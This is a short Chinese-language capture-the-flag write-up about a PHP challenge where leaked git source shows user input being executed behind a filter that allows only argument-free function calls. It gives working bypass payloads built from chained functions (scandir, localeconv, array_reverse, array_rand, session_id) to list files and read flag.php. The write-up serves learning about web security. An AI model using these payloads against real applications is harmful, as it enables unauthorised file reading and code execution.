git泄露獲取原始碼
使用GET傳參,引數為exp
經過三層過濾執行
第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']
(?R)參考當前正則運算式,相當于匹配函式里的引數
因此傳遞的函式不能帶有引數
首先查看當前目錄里的檔案:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
scandir — 列出指定路徑中的檔案和目錄
current — 回傳陣列中的當前單元
pos — current() 的別名
localeconv--獲取數字格式資訊,它回傳一個陣列,第一個值為'.'
而current回傳陣列的當前單元,所以:
print_r(scandir(current(localeconv()))) = print_r(scandir('.'));
這樣就顯示了目錄下的檔案,下面需要獲取flag檔案
- array_reverse()函式
以相反的元素順序回傳陣列:array_reverse()函式將原陣列中的元素順序翻轉,創建新的陣列并回傳
payload:
print_r(array_reverse(scandir(current(localeconv()))));
- array_rand(array_flip())
array_flip — 交換陣列中的鍵和值
array_rand — 從陣列中隨機取出一個或多個單元
這樣會隨機回傳檔案名,多重繪幾次就可以獲取falg檔案
payload:
print_r(array_rand(array_flip(scandir(current(localeconv())))));
- session_id(session_start())
既然獲取了flag.php檔案現在就是要讀取它
可以使用readfile()、highlight_file()及別名函式show_source()
payload:
print_r(readfile(next(array_reverse(scandir(current(localeconv()))))));
next — 將陣列中的內部指標向前移動一位
payload:
print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
payload:
readfile(session_id(session_start()));
參考: https://www.cnblogs.com/wangtanzhi/p/12260986.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/746.html
標籤:訊息安全
下一篇:等保2.0實施流程